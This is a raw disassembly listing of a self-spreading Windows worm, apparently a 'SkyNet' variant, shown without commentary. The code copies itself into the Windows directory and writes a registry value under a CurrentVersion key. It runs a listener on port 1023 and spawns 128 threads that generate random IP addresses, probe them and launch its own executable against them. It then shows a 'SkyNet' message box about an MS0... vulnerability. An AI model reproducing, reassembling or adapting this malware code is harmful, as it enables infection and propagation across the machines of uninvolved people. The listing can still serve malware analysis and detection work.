[ebp+var_8] jmp short loc_401DDF ; --------------------------------------------------------------------------- loc_401E01: ; CODE XREF: sub_401B59+28Bj push [ebp+var_8] call dword_40501C ; _lclose lea eax, [ebp+var_60] push eax call sub_401210 pop ecx loc_401E14: ; CODE XREF: sub_401B59+1DDj ; sub_401B59+21Bj ... push [ebp+var_C] call dword_405128 push 0 push off_4068DC call sub_402300 pop ecx push eax push off_4068DC loc_401E32: ; CODE XREF: sub_401B59+197j push [ebp+arg_0] jmp short loc_401E6D ; --------------------------------------------------------------------------- loc_401E37: ; CODE XREF: sub_401B59+1B1j lea eax, [ebp+var_4E4] push offset aQuit ; "QUIT" push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz short loc_401E57 push ebx call dword_405128 jmp short loc_401E6F ; --------------------------------------------------------------------------- loc_401E57: ; CODE XREF: sub_401B59+2F3j push 0 push off_4068DC call sub_402300 pop ecx push eax push off_4068DC loc_401E6C: ; CODE XREF: sub_401B59+8Aj ; sub_401B59+BBj push ebx loc_401E6D: ; CODE XREF: sub_401B59+2DCj call esi ; dword_405118 loc_401E6F: ; CODE XREF: sub_401B59+2FCj cmp [ebp+var_10], 0 jg loc_401B94 push [ebp+arg_0] call dword_405128 pop edi pop esi loc_401E84: ; CODE XREF: sub_401B59+10j xor eax, eax pop ebx leave retn 4 sub_401B59 endp ; =============== S U B R O U T I N E ======================================= sub_401E8B proc near ; CODE XREF: sub_401B59+119p ; sub_401B59+129p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi loc_401E93: ; CODE XREF: sub_401E8B+13j mov al, [esi] cmp al, 20h jz short loc_401E9D cmp al, 9 jnz short loc_401EA0 loc_401E9D: ; CODE XREF: sub_401E8B+Cj inc esi jmp short loc_401E93 ; --------------------------------------------------------------------------- loc_401EA0: ; CODE XREF: sub_401E8B+10j ; sub_401E8B+2Ej movsx eax, byte ptr [esi] push eax call sub_402900 test eax, eax pop ecx jz short loc_401EBB movsx ecx, byte ptr [esi] lea eax, [edi+edi*4] inc esi lea edi, [ecx+eax*2-30h] jmp short loc_401EA0 ; --------------------------------------------------------------------------- loc_401EBB: ; CODE XREF: sub_401E8B+21j mov eax, edi pop edi pop esi retn sub_401E8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EC0 proc near ; DATA XREF: sub_4020D9+6Eo var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 14h push esi xor esi, esi push edi push esi push 1 push 2 call dword_405120 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_401EE4 loc_401EDC: ; CODE XREF: sub_401EC0+63j pop edi xor eax, eax pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_401EE4: ; CODE XREF: sub_401EC0+1Aj push 3FFh mov [ebp+var_14], 2 call dword_40511C mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi mov [ebp+var_10], esi call dword_405108 cmp eax, 0FFFFFFFFh jz short loc_401F1C push 5 push edi call dword_40510C cmp eax, 0FFFFFFFFh jnz short loc_401F25 loc_401F1C: ; CODE XREF: sub_401EC0+4Cj push edi call dword_405128 jmp short loc_401EDC ; --------------------------------------------------------------------------- loc_401F25: ; CODE XREF: sub_401EC0+5Aj ; sub_401EC0+89j push esi push esi push edi call dword_405110 lea ecx, [ebp+var_4] push ecx push esi push eax push offset sub_401B59 push esi push esi call dword_40503C ; CreateThread push 19h call dword_40502C ; Sleep jmp short loc_401F25 sub_401EC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401F4B proc near ; DATA XREF: sub_4020D9+82o var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = byte ptr -454h var_450 = byte ptr -450h var_438 = byte ptr -438h var_400 = byte ptr -400h sub esp, 45Ch push ebx push ebp push esi push edi push 0FFFFFFFFh call dword_405048 ; GetCurrentThread push eax call dword_405044 ; SetThreadPriority loc_401F64: ; CODE XREF: sub_401F4B+37j xor esi, esi lea eax, [esp+46Ch+var_458] push esi push eax mov [esp+474h+var_458], esi call dword_4050FC cmp eax, esi jnz short loc_401F84 push 19h call dword_40502C ; Sleep jmp short loc_401F64 ; --------------------------------------------------------------------------- loc_401F84: ; CODE XREF: sub_401F4B+2Dj lea eax, [esp+46Ch+var_438] push eax call sub_4010D2 pop ecx lea eax, [esp+46Ch+var_438] push eax call dword_405134 movsx ebp, al movsx eax, ah mov [esp+46Ch+var_45C], eax cmp ebp, esi mov eax, 100h jge short loc_401FAF add ebp, eax loc_401FAF: ; CODE XREF: sub_401F4B+60j cmp [esp+46Ch+var_45C], esi jge short loc_401FB9 add [esp+46Ch+var_45C], eax loc_401FB9: ; CODE XREF: sub_401F4B+68j mov edi, dword_4050F0 mov esi, 0FFh mov ebx, offset aI_I_I_I ; "%i.%i.%i.%i" loc_401FC9: ; CODE XREF: sub_401F4B+189j call sub_401000 push 1Fh cdq pop ecx idiv ecx cmp edx, 0Fh jle short loc_402029 call sub_401000 push 1Fh cdq pop ecx idiv ecx cmp edx, 0Fh jle short loc_40200C call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx jmp short loc_402026 ; --------------------------------------------------------------------------- loc_40200C: ; CODE XREF: sub_401F4B+9Cj call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx push [esp+474h+var_45C] loc_402026: ; CODE XREF: sub_401F4B+BFj push ebp jmp short loc_402055 ; --------------------------------------------------------------------------- loc_402029: ; CODE XREF: sub_401F4B+8Cj call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx loc_402055: ; CODE XREF: sub_401F4B+DCj lea eax, [esp+47Ch+var_454] push ebx push eax call edi ; dword_4050F0 add esp, 18h lea eax, [esp+468h+var_450] push 3E8h push eax call dword_405134 push eax call sub_401B1B pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4020CC lea eax, [esp+46Ch+var_454] push eax call sub_401153 cmp al, 1 pop ecx jnz short loc_4020CC lea eax, [esp+46Ch+var_400] push 400h push eax push 0 call dword_405038 ; GetModuleFileNameA lea eax, [esp+46Ch+var_400] push offset asc_406A84 ; " " push eax call sub_402820 lea eax, [esp+474h+var_454] push eax lea eax, [esp+478h+var_400] push eax call sub_402820 add esp, 10h lea eax, [esp+46Ch+var_400] push 0 push eax call dword_405040 ; WinExec loc_4020CC: ; CODE XREF: sub_401F4B+130j ; sub_401F4B+13Fj push 19h call dword_40502C ; Sleep jmp loc_401FC9 sub_401F4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020D9 proc near ; CODE XREF: .text:004029F7p var_14 = dword ptr -14h var_8 = byte ptr -8 var_4 = byte ptr -4 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx call dword_405054 ; GetTickCount push eax call sub_40101E call sub_401028 push [ebp+arg_8] call sub_402300 pop ecx test eax, eax pop ecx jbe short loc_40210D push [ebp+arg_8] call sub_401A69 pop ecx push 1 pop eax locret_402109: ; CODE XREF: sub_4020D9+5Fj leave retn 10h ; --------------------------------------------------------------------------- loc_40210D: ; CODE XREF: sub_4020D9+22j push esi push edi push 1 call sub_40219B xor esi, esi mov [esp+14h+var_14], offset aSkynetnotice ; "SkynetNotice" push esi push esi call dword_405050 ; CreateMutexA call dword_40504C ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_40213A pop edi xor eax, eax pop esi jmp short locret_402109 ; --------------------------------------------------------------------------- loc_40213A: ; CODE XREF: sub_4020D9+59j mov edi, dword_40503C lea eax, [ebp+var_4] push ebx push eax push esi push esi push offset sub_401EC0 push esi push esi call edi ; dword_40503C mov ebx, 80h loc_402155: ; CODE XREF: sub_4020D9+8Cj lea eax, [ebp+var_8] push eax push esi push esi push offset sub_401F4B push esi push esi call edi ; dword_40503C dec ebx jnz short loc_402155 xor edi, edi pop ebx loc_40216A: ; CODE XREF: sub_4020D9+AAj ; sub_4020D9+C0j push esi call dword_405008 push 3E8h call dword_40502C ; Sleep inc edi cmp edi, 1C20h jle short loc_40216A push esi push offset aSkynet ; "SkyNet" push offset a1_YourComputer ; "1. Your computer is affected by the MS0"... push esi xor edi, edi call dword_4050F4 ; MessageBoxA jmp short loc_40216A sub_4020D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40219B proc near ; CODE XREF: sub_4020D9+38p var_824 = byte ptr -824h var_425 = byte ptr -425h var_424 = byte ptr -424h var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 824h push esi mov esi, 400h push edi lea eax, [ebp+var_824] push esi push eax push 0 call dword_405038 ; GetModuleFileNameA lea eax, [ebp+var_424] push esi push eax call dword_40505C ; GetWindowsDirectoryA lea eax, [ebp+var_424] push eax call sub_402300 cmp [ebp+eax+var_425], 5Ch pop ecx jz short loc_4021F3 lea eax, [ebp+var_424] push offset asc_406C50 ; "\\" push eax call sub_402820 pop ecx pop ecx loc_4021F3: ; CODE XREF: sub_40219B+43j push off_4068C8 lea eax, [ebp+var_424] push eax call sub_402820 cmp [ebp+arg_0], 0 pop ecx pop ecx jz short loc_402223 lea eax, [ebp+var_424] push 0 push eax lea eax, [ebp+var_824] push eax call dword_405058 ; CopyFileA loc_402223: ; CODE XREF: sub_40219B+70j lea eax, [ebp+var_4] mov esi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push eax push esi push 80000002h call dword_40500C lea eax, [ebp+var_424] push eax call sub_402300 pop ecx push eax lea eax, [ebp+var_424] push eax push 1 push 0 push off_4068C8 push [ebp+var_4] call dword_405004 push [ebp+var_4] call dword_405000 push offset aSsgrate_exe ; "ssgrate.exe" mov edi, 80000001h push esi push edi call sub_401AED push offset aDrvsys_exe ; "drvsys.exe" push esi push edi call sub_401AED push offset aDrvddll_exe ; "Drvddll_exe" push esi push edi call sub_401AED add esp, 24h pop edi pop esi leave retn sub_40219B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4022A0 proc near ; CODE XREF: sub_401153+10p ; sub_401153+40p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4022F3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4022E7 neg ecx and ecx, 3 jz short loc_4022C9 sub edx, ecx loc_4022C3: ; CODE XREF: sub_4022A0+27j mov [edi], al inc edi dec ecx jnz short loc_4022C3 loc_4022C9: ; CODE XREF: sub_4022A0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4022E7 rep stosd test edx, edx jz short loc_4022ED loc_4022E7: ; CODE XREF: sub_4022A0+18j ; sub_4022A0+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4022E7 loc_4022ED: ; CODE XREF: sub_4022A0+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4022F3: ; CODE XREF: sub_4022A0+Aj mov eax, [esp+arg_0] retn sub_4022A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402300 proc near ; CODE XREF: sub_401210+2Cp ; sub_401210+46p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_402320 loc_40230C: ; CODE XREF: sub_402300+19j mov al, [ecx] inc ecx test al, al jz short loc_402353 test ecx, 3 jnz short loc_40230C add eax, 0 loc_402320: ; CODE XREF: sub_402300+Aj ; sub_402300+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_402320 mov eax, [ecx-4] test al, al jz short loc_402371 test ah, ah jz short loc_402367 test eax, 0FF0000h jz short loc_40235D test eax, 0FF000000h jz short loc_402353 jmp short loc_402320 ; --------------------------------------------------------------------------- loc_402353: ; CODE XREF: sub_402300+11j ; sub_402300+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40235D: ; CODE XREF: sub_402300+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_402367: ; CODE XREF: sub_402300+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_402371: ; CODE XREF: sub_402300+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_402300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402380 proc near ; CODE XREF: sub_40137D+59p ; sub_40137D+78p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4023A0 cmp edi, eax jb loc_402518 loc_4023A0: ; CODE XREF: sub_402380+16j test edi, 3 jnz short loc_4023BC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4023DC rep movsd jmp off_4024C8[edx*4] ; --------------------------------------------------------------------------- loc_4023BC: ; CODE XREF: sub_402380+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4023D4 and eax, 3 add ecx, eax jmp dword ptr loc_4023DC+4[eax*4] ; --------------------------------------------------------------------------- loc_4023D4: ; CODE XREF: sub_402380+46j jmp dword ptr loc_4024D8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4023DC: ; CODE XREF: sub_402380+31j ; sub_402380+8Ej ... jmp off_40245C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4023F0 dd offset loc_40241C dd offset loc_402440 ; --------------------------------------------------------------------------- loc_4023F0: ; DATA XREF: sub_402380+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4023DC rep movsd jmp off_4024C8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40241C: ; DATA XREF: sub_402380+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4023DC rep movsd jmp off_4024C8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_402440: ; DATA XREF: sub_402380+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4023DC rep movsd jmp off_4024C8[edx*4] ; --------------------------------------------------------------------------- align 4 off_40245C dd offset loc_4024BF ; DATA XREF: sub_402380:loc_4023DCr dd offset loc_4024AC dd offset loc_4024A4 dd offset loc_40249C dd offset loc_402494 dd offset loc_40248C dd offset loc_402484 dd offset loc_40247C ; --------------------------------------------------------------------------- loc_40247C: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_402484: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40248C: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_402494: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40249C: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4024A4: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4024AC: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4024BF: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380:off_40245Co jmp off_4024C8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4024C8 dd offset loc_4024D8 ; DATA XREF: sub_402380+35r ; sub_402380+92r ... dd offset loc_4024E0 dd offset loc_4024EC dd offset loc_402500 ; --------------------------------------------------------------------------- loc_4024D8: ; CODE XREF: sub_402380+35j ; sub_402380+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4024E0: ; CODE XREF: sub_402380+35j ; sub_402380+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4024EC: ; CODE XREF: sub_402380+35j ; sub_402380+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_402500: ; CODE XREF: sub_402380+35j ; sub_402380+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402518: ; CODE XREF: sub_402380+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40254C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_402540 std rep movsd cld jmp off_402660[edx*4] ; --------------------------------------------------------------------------- align 10h loc_402540: ; CODE XREF: sub_402380+1B1j ; sub_402380+208j ... neg ecx jmp off_402610[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40254C: ; CODE XREF: sub_402380+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_402564 and eax, 3 sub ecx, eax jmp dword ptr loc_402564+4[eax*4] ; --------------------------------------------------------------------------- loc_402564: ; CODE XREF: sub_402380+1D6j ; DATA XREF: sub_402380+1DDr jmp off_402660[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_402577+1 ; --------------------------------------------------------------------------- cwde and eax, 25C00040h inc eax loc_402577: ; DATA XREF: sub_402380+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_402540 std rep movsd cld jmp off_402660[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_402540 std rep movsd cld jmp off_402660[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_402540 std rep movsd cld jmp off_402660[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_402614 dd offset loc_40261C dd offset loc_402624 dd offset loc_40262C dd offset loc_402634 dd offset loc_40263C dd offset loc_402644 off_402610 dd offset loc_402657 ; DATA XREF: sub_402380+1C2r ; --------------------------------------------------------------------------- loc_402614: ; DATA XREF: sub_402380+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40261C: ; DATA XREF: sub_402380+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_402624: ; DATA XREF: sub_402380+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40262C: ; DATA XREF: sub_402380+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_402634: ; DATA XREF: sub_402380+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40263C: ; DATA XREF: sub_402380+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_402644: ; DATA XREF: sub_402380+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_402657: ; CODE XREF: sub_402380+1C2j ; DATA XREF: sub_402380:off_402610o jmp off_402660[edx*4] ; --------------------------------------------------------------------------- align 10h off_402660 dd offset loc_402670 ; DATA XREF: sub_402380+1B7r ; sub_402380:loc_402564r ... dd offset loc_402678 dd offset loc_402688 dd offset loc_40269C ; --------------------------------------------------------------------------- loc_402670: ; CODE XREF: sub_402380+1B7j ; sub_402380:loc_402564j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402678: ; CODE XREF: sub_402380+1B7j ; sub_402380:loc_402564j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402688: ; CODE XREF: sub_402380+1B7j ; sub_402380:loc_402564j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40269C: ; CODE XREF: sub_402380+1B7j ; sub_402380:loc_402564j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_402380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4026C0 proc near ; CODE XREF: sub_401583+8p ; sub_40380C+DFp ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4026E0 loc_4026CC: ; CODE XREF: sub_4026C0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4026CC loc_4026E0: ; CODE XREF: sub_4026C0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4026C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4026F0 proc near ; CODE XREF: sub_401A69+2Dp ; sub_401A69+50p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_40276A mov dh, [ecx+1] test dh, dh jz short loc_402757 loc_402708: ; CODE XREF: sub_4026F0+52j ; sub_4026F0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_40272A test al, al jz short loc_402724 loc_402719: ; CODE XREF: sub_4026F0+32j mov al, [esi] inc esi loc_40271C: ; CODE XREF: sub_4026F0+3Fj cmp al, dl jz short loc_40272A test al, al jnz short loc_402719 loc_402724: ; CODE XREF: sub_4026F0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_40272A: ; CODE XREF: sub_4026F0+23j ; sub_4026F0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_40271C lea edi, [esi-1] loc_402734: ; CODE XREF: sub_4026F0+63j mov ah, [ecx+2] test ah, ah jz short loc_402763 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_402708 mov al, [ecx+3] test al, al jz short loc_402763 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_402734 jmp short loc_402708 ; --------------------------------------------------------------------------- loc_402757: ; CODE XREF: sub_4026F0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp sub_402A86 ; --------------------------------------------------------------------------- loc_402763: ; CODE XREF: sub_4026F0+49j ; sub_4026F0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_40276A: ; CODE XREF: sub_4026F0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_4026F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402770 proc near ; CODE XREF: sub_401B59+103p ; sub_401B59+14Cp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_402789: ; CODE XREF: sub_402770+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_402789 mov edx, [ebp+arg_0] test edx, edx jnz short loc_4027B1 mov edx, dword_4070CC loc_4027B1: ; CODE XREF: sub_402770+39j ; sub_402770+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_4027D1 test al, al jz short loc_4027D1 inc edx jmp short loc_4027B1 ; --------------------------------------------------------------------------- loc_4027D1: ; CODE XREF: sub_402770+58j ; sub_402770+5Cj mov ebx, edx loc_4027D3: ; CODE XREF: sub_402770+81j mov al, [edx] test al, al jz short loc_4027F7 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_4027F3 inc edx jmp short loc_4027D3 ; --------------------------------------------------------------------------- loc_4027F3: ; CODE XREF: sub_402770+7Ej and byte ptr [edx], 0 inc edx loc_4027F7: ; CODE XREF: sub_402770+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4070CC, edx and eax, ebx pop ebx leave retn sub_402770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402810 proc near ; CODE XREF: sub_401B59+E9p ; sub_401B59+270p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_402881 sub_402810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402820 proc near ; CODE XREF: sub_401F4B+15Dp ; sub_401F4B+16Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_40283C loc_40282D: ; CODE XREF: sub_402820+1Aj mov al, [ecx] inc ecx test al, al jz short loc_40286F test ecx, 3 jnz short loc_40282D loc_40283C: ; CODE XREF: sub_402820+Bj ; sub_402820+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40283C mov eax, [ecx-4] test al, al jz short loc_40287E test ah, ah jz short loc_402879 test eax, 0FF0000h jz short loc_402874 test eax, 0FF000000h jz short loc_40286F jmp short loc_40283C ; --------------------------------------------------------------------------- loc_40286F: ; CODE XREF: sub_402820+12j ; sub_402820+4Bj lea edi, [ecx-1] jmp short loc_402881 ; --------------------------------------------------------------------------- loc_402874: ; CODE XREF: sub_402820+44j lea edi, [ecx-2] jmp short loc_402881 ; --------------------------------------------------------------------------- loc_402879: ; CODE XREF: sub_402820+3Dj lea edi, [ecx-3] jmp short loc_402881 ; --------------------------------------------------------------------------- loc_40287E: ; CODE XREF: sub_402820+39j lea edi, [ecx-4] loc_402881: ; CODE XREF: sub_402810+5j ; sub_402820+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_4028A6 loc_40288D: ; CODE XREF: sub_402820+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_4028F8 mov [edi], dl inc edi test ecx, 3 jnz short loc_40288D jmp short loc_4028A6 ; --------------------------------------------------------------------------- loc_4028A1: ; CODE XREF: sub_402820+9Ej ; sub_402820+B8j mov [edi], edx add edi, 4 loc_4028A6: ; CODE XREF: sub_402820+6Bj ; sub_402820+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_4028A1 test dl, dl jz short loc_4028F8 test dh, dh jz short loc_4028EF test edx, 0FF0000h jz short loc_4028E2 test edx, 0FF000000h jz short loc_4028DA jmp short loc_4028A1 ; --------------------------------------------------------------------------- loc_4028DA: ; CODE XREF: sub_402820+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4028E2: ; CODE XREF: sub_402820+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_4028EF: ; CODE XREF: sub_402820+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4028F8: ; CODE XREF: sub_402820+72j ; sub_402820+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_402820 endp ; =============== S U B R O U T I N E ======================================= sub_402900 proc near ; CODE XREF: sub_401E8B+19p arg_0 = dword ptr 4 cmp dword_406E7C, 1 jle short loc_40291A push 107h push [esp+4+arg_0] call sub_402B3C pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_40291A: ; CODE XREF: sub_402900+7j mov eax, [esp+arg_0] mov ecx, off_406C70 mov ax, [ecx+eax*2] and eax, 